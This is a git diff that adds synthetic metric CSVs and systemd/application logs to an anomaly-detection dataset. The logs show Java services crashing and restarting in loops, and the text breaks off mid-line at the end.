stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:02:15 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:02:15 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:02:30 my-app[1383]: INFO: Application starting up, version 1.2.3 +Aug 11 10:02:30 systemd[1]: Started My Application Service. +Aug 11 10:02:30 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 2. +Aug 11 10:02:30 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 11 10:02:55 my-app[1383]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:03:20 my-app[1383]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:03:25 my-app[1383]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:03:25 my-app[1383]: stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:03:30 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:03:30 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:03:45 my-app[1439]: INFO: Application starting up, version 1.2.3 +Aug 11 10:03:45 systemd[1]: Started My Application Service. +Aug 11 10:03:45 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 3. +Aug 11 10:03:45 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 11 10:04:10 my-app[1439]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:04:35 my-app[1439]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:04:40 my-app[1439]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:04:40 my-app[1439]: stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:04:45 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:04:45 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:05:00 my-app[1580]: INFO: Application starting up, version 1.2.3 +Aug 11 10:05:00 systemd[1]: Started My Application Service. +Aug 11 10:05:00 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 4. +Aug 11 10:05:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 11 10:05:25 my-app[1580]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:05:50 my-app[1580]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:05:55 my-app[1580]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:05:55 my-app[1580]: stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:06:00 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:06:00 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:06:15 my-app[1674]: INFO: Application starting up, version 1.2.3 +Aug 11 10:06:15 systemd[1]: Started My Application Service. +Aug 11 10:06:15 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 11 10:06:15 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Aug 11 10:06:40 my-app[1674]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:07:05 my-app[1674]: GET /api/v1/healthcheck status=200 OK +Aug 11 10:07:10 my-app[1674]: FATAL: Unhandled exception: NullPointerException. Crashing. +Aug 11 10:07:10 my-app[1674]: stack_trace: at com.example.MyClass.fatalMethod(MyClass.java:123)\nat com.example.AnotherClass.callFatal(AnotherClass.java:45) +Aug 11 10:07:15 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 11 10:07:15 systemd[1]: my-app.service: Main process exited, code=exited, status=139/n/a +Aug 11 10:07:30 my-app[1736]: INFO: Application starting up, version 1.2.3 +Aug 11 10:07:30 systemd[1]: Started My Application Service. +Aug 11 10:07:30 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 6. +Aug 11 10:07:30 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. diff --git a/anom_dataset/scenario_11/anom_11_25.csv b/anom_dataset/scenario_11/anom_11_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..9cc80935bb674d6b187517ffcb18eb66aaefc88f --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out 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Starting daily clean up activities... +Jul 03 10:00:50 web-app[3456]: GET /api/v1/health status=200 OK +Jul 03 10:01:15 web-app[3456]: GET /api/v1/health status=200 OK +Jul 03 10:01:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:01:35 systemd[1]: Started My Web Application. +Jul 03 10:01:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:01:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:01:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:01:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:01:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:02:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:02:05 systemd[1]: Started My Web Application. +Jul 03 10:02:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:02:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:02:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:02:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:02:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:02:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:02:35 systemd[1]: Started My Web Application. +Jul 03 10:02:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:02:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:02:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:02:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:02:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:03:05 systemd[1]: Started My Web Application. +Jul 03 10:03:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:03:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:03:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:03:20 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:03:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:03:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:03:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:03:35 systemd[1]: Started My Web Application. +Jul 03 10:03:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:03:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:03:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:03:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:03:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:04:05 systemd[1]: Started My Web Application. +Jul 03 10:04:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:04:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:04:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:04:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:04:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:04:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:04:35 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:04:35 systemd[1]: Started My Web Application. +Jul 03 10:04:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:04:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:04:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:04:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:04:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:05:05 systemd[1]: Started My Web Application. +Jul 03 10:05:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:05:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:05:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:05:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:05:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:05:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:05:35 systemd[1]: Started My Web Application. +Jul 03 10:05:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:05:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:05:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:05:50 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:05:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:05:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:06:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:06:05 systemd[1]: Started My Web Application. +Jul 03 10:06:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:06:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:06:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:06:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:06:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:06:30 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:06:35 systemd[1]: Started My Web Application. +Jul 03 10:06:43 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:06:43 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:06:43 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:06:50 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:06:50 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE +Jul 03 10:07:00 systemd[1]: web-app.service: Scheduled to restart. +Jul 03 10:07:05 CRON[8899]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 03 10:07:05 systemd[1]: Started My Web Application. +Jul 03 10:07:13 web-app[3456]: at com.example.Main.run(Main.java:45) +Jul 03 10:07:13 web-app[3456]: at com.example.MyClass.process(MyClass.java:123) +Jul 03 10:07:13 web-app[3456]: FATAL: Unhandled exception: NullPointerException +Jul 03 10:07:20 systemd[1]: web-app.service: Failed with result 'exit-code'. +Jul 03 10:07:20 systemd[1]: web-app.service: Main process exited, code=exited, status=1/FAILURE diff --git a/anom_dataset/scenario_11/anom_11_26.csv b/anom_dataset/scenario_11/anom_11_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..2373fa497f8f59eb4e8f6292724271bf9b82b950 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-05T14:00:00Z,18.26,41.44,16.24,1.56,0.93 +2025-08-05T14:00:05Z,13.29,39.82,22.48,1.07,1.29 +2025-08-05T14:00:10Z,18.96,35.08,19.26,1.64,0.58 +2025-08-05T14:00:15Z,17.98,44.34,22.24,0.97,0.51 +2025-08-05T14:00:20Z,15.49,41.97,29.4,1.26,0.6 +2025-08-05T14:00:25Z,16.74,44.15,15.1,0.9,0.97 +2025-08-05T14:00:30Z,12.38,35.37,28.57,0.77,0.86 +2025-08-05T14:00:35Z,14.63,45.0,12.5,0.89,0.97 +2025-08-05T14:00:40Z,18.46,44.3,25.27,1.07,0.95 +2025-08-05T14:00:45Z,14.06,43.34,24.86,0.85,0.74 +2025-08-05T14:00:50Z,18.06,35.88,28.67,0.9,0.98 +2025-08-05T14:00:55Z,11.49,43.44,15.19,0.95,1.16 +2025-08-05T14:01:00Z,10.61,43.44,13.76,1.33,0.58 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0000000000000000000000000000000000000000..c53c35daaa37f7b00ba16379059d1ba64f4979d2 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_26.log @@ -0,0 +1,50 @@ +Aug 05 14:00:00 systemd[1]: Starting My App Service... +Aug 05 14:00:05 my-app[1696]: INFO: Application startup complete. Listening on port 8080. +Aug 05 14:00:50 my-app[1696]: GET /api/v1/health status=200 OK +Aug 05 14:01:00 my-app[1696]: GET /api/v1/health status=200 OK +Aug 05 14:01:55 CRON[423]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 05 14:02:50 my-app[1696]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Aug 05 14:02:50 my-app[1696]: at com.example.my-app.MemoryLeak.allocate(MemoryLeak.java:123) +Aug 05 14:02:50 my-app[1696]: at com.example.my-app.Main.run(Main.java:45) +Aug 05 14:02:55 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 05 14:02:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 05 14:02:57 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 05 14:02:59 systemd[1]: Stopped My App Service. +Aug 05 14:03:00 systemd[1]: Starting My App Service... +Aug 05 14:03:01 my-app[2022]: INFO: Application startup complete. Listening on port 8080. +Aug 05 14:03:50 my-app[2022]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Aug 05 14:03:50 my-app[2022]: at com.example.my-app.MemoryLeak.allocate(MemoryLeak.java:123) +Aug 05 14:03:50 my-app[2022]: at com.example.my-app.Main.run(Main.java:45) +Aug 05 14:03:55 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 05 14:03:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 05 14:03:57 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 05 14:03:59 systemd[1]: Stopped My App Service. +Aug 05 14:04:00 systemd[1]: Starting My App Service... +Aug 05 14:04:01 my-app[2610]: INFO: Application startup complete. Listening on port 8080. +Aug 05 14:04:50 my-app[2610]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Aug 05 14:04:50 my-app[2610]: at com.example.my-app.MemoryLeak.allocate(MemoryLeak.java:123) +Aug 05 14:04:50 my-app[2610]: at com.example.my-app.Main.run(Main.java:45) +Aug 05 14:04:55 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 05 14:04:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 05 14:04:57 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 05 14:04:59 systemd[1]: Stopped My App Service. +Aug 05 14:05:00 systemd[1]: Starting My App Service... +Aug 05 14:05:01 my-app[2340]: INFO: Application startup complete. Listening on port 8080. +Aug 05 14:05:50 my-app[2340]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Aug 05 14:05:50 my-app[2340]: at com.example.my-app.MemoryLeak.allocate(MemoryLeak.java:123) +Aug 05 14:05:50 my-app[2340]: at com.example.my-app.Main.run(Main.java:45) +Aug 05 14:05:55 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 05 14:05:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 05 14:05:57 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 05 14:05:59 systemd[1]: Stopped My App Service. +Aug 05 14:06:00 systemd[1]: Starting My App Service... +Aug 05 14:06:01 my-app[2740]: INFO: Application startup complete. Listening on port 8080. +Aug 05 14:06:50 my-app[2740]: FATAL: Unhandled exception: java.lang.OutOfMemoryError: Java heap space +Aug 05 14:06:50 my-app[2740]: at com.example.my-app.MemoryLeak.allocate(MemoryLeak.java:123) +Aug 05 14:06:50 my-app[2740]: at com.example.my-app.Main.run(Main.java:45) +Aug 05 14:06:55 systemd[1]: my-app.service: Main process exited, code=exited, status=1/FAILURE +Aug 05 14:06:55 systemd[1]: my-app.service: Failed with result 'exit-code'. +Aug 05 14:06:57 systemd[1]: my-app.service: Scheduled restart job, restart counter is at 5. +Aug 05 14:06:59 systemd[1]: Stopped My App Service. +Aug 05 14:07:00 systemd[1]: Starting My App Service... +Aug 05 14:07:01 my-app[2775]: INFO: Application startup complete. Listening on port 8080. diff --git a/anom_dataset/scenario_11/anom_11_27.csv b/anom_dataset/scenario_11/anom_11_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..594b4482ab01cccb925a0ab3f71500dcf2516e21 --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-11T10:00:00Z,7.99,16.11,1.43,0.0,0.0 +2025-07-11T10:00:05Z,39.4,39.71,15.89,0.52,0.55 +2025-07-11T10:00:10Z,65.34,60.28,34.41,1.39,1.01 +2025-07-11T10:00:15Z,91.21,80.43,51.19,2.14,1.45 +2025-07-11T10:00:20Z,84.64,86.2,3.53,1.58,1.11 +2025-07-11T10:00:25Z,78.65,85.5,3.29,1.68,1.3 +2025-07-11T10:00:30Z,93.42,86.55,5.16,1.14,1.25 +2025-07-11T10:00:35Z,78.54,90.58,4.11,1.59,1.18 +2025-07-11T10:00:40Z,79.97,88.94,3.64,1.77,0.52 +2025-07-11T10:00:45Z,84.71,90.77,5.54,1.82,1.47 +2025-07-11T10:00:50Z,88.21,90.31,3.54,1.66,1.15 +2025-07-11T10:00:55Z,1.79,8.41,0.82,0.07,0.07 +2025-07-11T10:01:00Z,11.77,15.39,2.41,0.12,0.0 +2025-07-11T10:01:05Z,35.49,43.61,14.28,0.74,0.41 +2025-07-11T10:01:10Z,66.93,63.79,33.7,1.23,1.06 +2025-07-11T10:01:15Z,88.92,80.49,50.67,1.96,1.34 +2025-07-11T10:01:20Z,91.88,82.1,6.42,1.39,1.15 +2025-07-11T10:01:25Z,85.68,80.46,4.46,1.43,0.9 +2025-07-11T10:01:30Z,80.84,88.95,6.41,1.77,0.73 +2025-07-11T10:01:35Z,86.65,88.61,4.83,1.57,0.91 +2025-07-11T10:01:40Z,83.66,90.03,4.22,1.95,0.74 +2025-07-11T10:01:45Z,87.93,92.96,3.5,1.33,0.82 +2025-07-11T10:01:50Z,75.67,95.58,5.04,1.74,0.92 +2025-07-11T10:01:55Z,1.75,8.1,0.52,0.02,0.04 +2025-07-11T10:02:00Z,11.0,20.61,1.24,0.03,0.0 +2025-07-11T10:02:05Z,34.92,36.03,16.28,0.59,0.33 +2025-07-11T10:02:10Z,61.77,55.32,35.06,1.49,1.04 +2025-07-11T10:02:15Z,92.8,80.48,52.92,2.09,1.49 +2025-07-11T10:02:20Z,92.62,80.81,4.27,1.09,1.13 +2025-07-11T10:02:25Z,94.84,84.62,4.35,1.63,0.89 +2025-07-11T10:02:30Z,84.23,87.27,6.28,1.16,0.89 +2025-07-11T10:02:35Z,82.68,92.17,4.41,1.84,0.7 +2025-07-11T10:02:40Z,94.33,89.02,5.05,1.73,1.13 +2025-07-11T10:02:45Z,81.97,94.49,5.36,1.42,1.39 +2025-07-11T10:02:50Z,92.02,97.44,3.47,1.08,0.92 +2025-07-11T10:02:55Z,0.71,5.58,0.98,0.04,0.08 +2025-07-11T10:03:00Z,6.71,16.97,0.0,0.0,0.0 +2025-07-11T10:03:05Z,40.52,35.15,18.8,0.58,0.32 +2025-07-11T10:03:10Z,62.07,62.26,32.2,1.24,0.97 +2025-07-11T10:03:15Z,85.75,79.88,47.46,1.83,1.43 +2025-07-11T10:03:20Z,75.39,85.63,6.45,1.82,0.93 +2025-07-11T10:03:25Z,87.6,85.53,3.9,1.82,1.05 +2025-07-11T10:03:30Z,87.19,84.92,4.03,1.53,1.07 +2025-07-11T10:03:35Z,75.05,85.09,6.49,1.02,1.39 +2025-07-11T10:03:40Z,78.35,93.91,4.88,1.76,0.9 +2025-07-11T10:03:45Z,92.5,95.94,4.46,1.85,1.39 +2025-07-11T10:03:50Z,92.42,90.18,4.43,1.33,0.84 +2025-07-11T10:03:55Z,0.21,8.7,0.3,0.08,0.08 +2025-07-11T10:04:00Z,6.88,24.77,0.98,0.02,0.0 +2025-07-11T10:04:05Z,33.17,38.75,14.17,0.73,0.67 +2025-07-11T10:04:10Z,65.49,58.77,32.39,1.51,1.15 +2025-07-11T10:04:15Z,85.52,83.94,48.33,1.95,1.61 +2025-07-11T10:04:20Z,75.96,82.23,6.21,1.11,0.66 +2025-07-11T10:04:25Z,79.93,81.96,4.59,1.99,1.41 +2025-07-11T10:04:30Z,75.37,87.54,5.73,1.16,1.5 +2025-07-11T10:04:35Z,75.28,86.72,3.4,1.52,0.67 +2025-07-11T10:04:40Z,87.72,93.85,4.77,1.78,0.72 +2025-07-11T10:04:45Z,86.44,88.27,3.41,1.31,0.82 +2025-07-11T10:04:50Z,90.57,91.4,3.85,1.98,0.51 +2025-07-11T10:04:55Z,0.59,6.53,0.65,0.02,0.04 +2025-07-11T10:05:00Z,12.6,24.2,2.11,0.0,0.1 +2025-07-11T10:05:05Z,39.37,42.78,15.85,0.7,0.35 +2025-07-11T10:05:10Z,59.96,62.4,33.27,1.35,1.05 +2025-07-11T10:05:15Z,85.82,78.41,50.47,1.93,1.59 +2025-07-11T10:05:20Z,89.29,85.32,3.95,1.65,0.7 +2025-07-11T10:05:25Z,92.69,86.03,4.62,1.51,0.76 +2025-07-11T10:05:30Z,88.38,87.04,6.09,1.85,1.4 +2025-07-11T10:05:35Z,81.3,86.02,6.58,1.57,1.27 +2025-07-11T10:05:40Z,80.13,93.62,6.77,1.14,1.07 +2025-07-11T10:05:45Z,87.25,88.21,4.08,1.27,0.64 +2025-07-11T10:05:50Z,85.9,93.52,4.77,1.8,0.86 +2025-07-11T10:05:55Z,1.68,6.24,0.84,0.02,0.0 +2025-07-11T10:06:00Z,12.17,15.25,1.18,0.0,0.0 +2025-07-11T10:06:05Z,37.39,43.83,18.24,0.79,0.56 +2025-07-11T10:06:10Z,62.59,57.13,32.62,1.17,1.11 +2025-07-11T10:06:15Z,91.23,78.4,52.81,2.13,1.68 +2025-07-11T10:06:20Z,88.05,79.47,4.22,1.81,0.92 +2025-07-11T10:06:25Z,76.69,84.15,5.41,1.06,0.77 +2025-07-11T10:06:30Z,88.32,84.16,6.03,1.59,1.05 +2025-07-11T10:06:35Z,75.35,88.68,4.23,1.29,0.56 +2025-07-11T10:06:40Z,87.89,92.0,3.89,1.23,0.94 +2025-07-11T10:06:45Z,81.45,91.34,3.06,1.88,0.65 +2025-07-11T10:06:50Z,79.71,99.74,4.36,1.97,1.19 +2025-07-11T10:06:55Z,1.91,9.19,0.87,0.07,0.03 +2025-07-11T10:07:00Z,7.1,18.63,2.12,0.1,0.05 +2025-07-11T10:07:05Z,35.11,37.48,18.38,0.71,0.34 +2025-07-11T10:07:10Z,66.59,55.49,33.41,1.31,1.02 +2025-07-11T10:07:15Z,92.61,77.46,48.14,1.88,1.3 +2025-07-11T10:07:20Z,81.18,82.32,5.2,1.62,1.4 +2025-07-11T10:07:25Z,93.04,81.37,6.18,1.24,1.03 diff --git a/anom_dataset/scenario_11/anom_11_27.log b/anom_dataset/scenario_11/anom_11_27.log new file mode 100644 index 0000000000000000000000000000000000000000..382d094e25f8b8010597102752dbb18789e97bbf --- /dev/null +++ b/anom_dataset/scenario_11/anom_11_27.log @@ -0,0 +1,76 @@ +Jul 11 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 11 10:00:02 my-app[3341]: INFO Application starting up... +Jul 11 10:00:03 my-app[3341]: INFO Listening on port 8080 +Jul 11 10:00:48 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:00:48 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:00:48 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:00:48 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:00:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:00:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:01:00 systemd[1]: Started My Application. +Jul 11 10:01:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:01:02 my-app[3310]: INFO Application starting up... +Jul 11 10:01:03 my-app[3310]: INFO Listening on port 8080 +Jul 11 10:01:49 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:01:49 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:01:49 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:01:49 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:01:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:01:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:02:00 systemd[1]: Started My Application. +Jul 11 10:02:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:02:02 my-app[3322]: INFO Application starting up... +Jul 11 10:02:03 my-app[3322]: INFO Listening on port 8080 +Jul 11 10:02:05 CRON[5425]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:02:49 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:02:49 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:02:49 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:02:49 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:02:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:02:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:03:00 systemd[1]: Started My Application. +Jul 11 10:03:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:03:02 my-app[3334]: INFO Application starting up... +Jul 11 10:03:03 my-app[3334]: INFO Listening on port 8080 +Jul 11 10:03:48 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:03:48 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:03:48 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:03:48 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:03:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:03:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:04:00 systemd[1]: Started My Application. +Jul 11 10:04:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:04:02 my-app[3346]: INFO Application starting up... +Jul 11 10:04:03 my-app[3346]: INFO Listening on port 8080 +Jul 11 10:04:10 CRON[5450]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:04:49 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:04:49 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:04:49 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:04:49 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:04:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:04:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:05:00 systemd[1]: Started My Application. +Jul 11 10:05:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:05:02 my-app[3358]: INFO Application starting up... +Jul 11 10:05:03 my-app[3358]: INFO Listening on port 8080 +Jul 11 10:05:48 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:05:48 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:05:48 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:05:48 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 10:05:50 systemd[1]: my-app.service: Failed with result 'exit-code'. +Jul 11 10:05:50 systemd[1]: my-app.service: Main process exited, code=exited, status=137/n/a +Jul 11 10:06:00 systemd[1]: Started My Application. +Jul 11 10:06:00 systemd[1]: my-app.service: Service hold-off time over, scheduling restart. +Jul 11 10:06:02 my-app[3370]: INFO Application starting up... +Jul 11 10:06:03 my-app[3370]: INFO Listening on port 8080 +Jul 11 10:06:15 CRON[5475]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 11 10:06:48 my-app[3341]: at com.example.Main.main(Main.java:10) +Jul 11 10:06:48 my-app[3341]: at com.example.MyClass.anotherMethod(MyClass.java:45) +Jul 11 10:06:48 my-app[3341]: FATAL: Uncaught exception: NullPointerException at com.example.MyClass.doSomething(MyClass.java:123) +Jul 11 10:06:48 my-app[3341]: stack trace: java.lang.NullPointerException +Jul 11 